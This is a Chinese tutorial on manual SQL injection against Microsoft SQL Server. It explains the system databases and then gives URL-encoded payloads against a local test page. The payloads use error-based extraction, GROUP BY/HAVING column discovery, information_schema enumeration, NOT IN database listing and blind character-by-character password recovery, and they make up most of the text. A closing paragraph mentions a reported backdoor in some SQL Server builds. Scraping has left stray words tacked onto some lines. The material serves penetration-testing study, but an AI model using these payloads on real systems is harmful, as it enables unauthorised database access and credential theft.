SQL server手工注入入門

目錄

0x01 SQL server基礎php

0x02 基本注入html

SQL server部分版本已被黑客安裝後門,詳情請在文末查看。sql

0x01 SQL server基礎

在學習注入以前,最重要的是要先了解SQL server的具體的東西,才能更好的進行注入操做數據庫

系統庫服務器

master學習

master數據庫控制SQLserver的全部方面,這個數據庫中包含全部的配置信息、用戶登錄信息、當前正在服務器運行中的過程的信息3d

modelcode

model數據庫是創建全部數據庫時的模板,當你創建一個新數據庫時,SQL server會把model數據庫中的全部對象創建一份拷貝並移到新數據庫中,在模板對象被拷貝到新的用戶數據庫以後,該數據庫的全部多餘空間都將被頁面填滿orm

tempdbserver

tempdb數據庫是一個很是特殊的數據庫,供全部來訪問SQL server的用戶使用,這個庫用來保存全部的臨時表、存儲過程和其餘SQLserver創建的臨時用的東西,例如,排序時要用到tempdb數據庫,數據被放進tempdb數據庫,排完序後再把結果返回給用戶。每次SQL server從新啓動,它都會清空tempdb數據庫並重建,永遠不要在tempdb數據庫創建須要永久保存的表

msdb

msdb數據庫是SQLserver中的一個特例,若是你查看這個數據庫的實際定義,會發現它實際上是一個用戶數據庫,不一樣之處是SQLserver拿這個數據庫用來作什麼,全部的任務調度、報警、操做員都存儲在msdb數據庫中,該庫的另外一個功能是用來存儲全部備份歷史,SQL server agent將會使用這個庫

information_schema

information_schema是在SQL server2000及更高版本存在的,能夠檢索數據庫中的對象的元數據,與MySQL中的有相同的功能,它是符合ISO標準的,與sys不一樣,sys是微軟本身搞出來的東西

註釋方法

C語言註釋風格    /*
SQL註釋風格     --
空字節          ;%00

0x02 基本注入

首先咱們先訪問注入網址

http://127.0.0.1/index.php?id=1

這裏咱們模擬的SQL語句是這樣的

$sql= "select * from test where id=".$id;

這裏咱們就先用1=1和1=2來作一個簡單的判斷

file

而後咱們來嘗試一下查看數據庫版本

經過使用報錯的方式將咱們想要的值給帶出來

http://127.0.0.1/index.php?id=1%20and%201=(select%20@@version)

file

使用db_name()來查看數據庫名

http://127.0.0.1/index.php?id=1%20and%201=(select%20db_name())

file

等等能夠獲取到一些咱們所須要的信息

接下來使用having字句來獲取當前數據庫的表名和列名

http://127.0.0.1 /index.php?id=1%20having%201=1

file

而後咱們繼續使用上一個所獲得的值來遞歸獲取全部的名

http://127.0.0.1/index.php?id=1%20group%20by%20test.id%20having%201=1

file

http://127.0.0.1/index.php?id=1%20group%20by%20test.id,test.name%20having%201=1

file

http://127.0.0.1/index.php?id=1%20group%20by%20test.id,test.name,test.password%20having%201=1

file

經過上面這樣的方法,咱們就已經獲得了當前使用的數據庫爲test,其中的列有idnamepassword

而後咱們注入password的數據

http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,1,1))%20from%20test)%3E=49

file

http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,1,1))%20from%20test)%3E=50

file

能夠知道第一個爲字符1

而後繼續猜解第二個字符

http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,2,1))%20from%20test)%3E=50

file

http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,2,1))%20from%20test)%3E=51

file

能夠獲得第二個字符爲2

依此類推獲得最終的結果爲123456

咱們還能夠經過注入獲取到其餘的數據庫名稱

http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases)

file

可是因爲只能輸出一個字段的內容,因此這裏使用where語句的not in來進行獲取

http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master'))

file

獲得了第二個數據庫model。而後經過這樣的方式繼續日後遍歷

http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master','model'))

file

繼續遍歷就能夠了

http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master','model','msdb'))

file

在獲得數據庫test以後,咱們使用information.schema來獲取數據表

http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20table_name%20from%20test.information_schema.tables)

file

這裏咱們只有一個表,若是有多個表的話,能夠經過以前not in的方法來進行獲取

到這裏咱們就已經知道了數據庫爲test,數據表也爲test

接下來該獲取字段了

http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20column_name%20from%20test.information_schema.columns%20where%20table_name%20=%20'test')

file

而後一樣使用not in的方法能夠遍歷獲得全部的列名

http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20column_name%20from%20test.information_schema.columns%20where%20table_name%20=%20'test'%20and%20column_name%20not%20in%20('id'))

file

以後獲取數據就跟以前的方法是同樣的了

這篇文章只是一個簡單的開頭,至於更多的內容還須要你們來看,最後再給你們提一下剛爆出來的一個上游攻擊的事件,SQL server部分版本已經被黑客組織植入後門程序skip-2.0,在安裝了中招的SQL server以後,能夠容許黑客不進行身份驗證而直接進行登錄。

file

file

能夠去FreeBuf瞭解其餘詳情

https://www.freebuf.com/news/217738.html

相關文章
相關標籤/搜索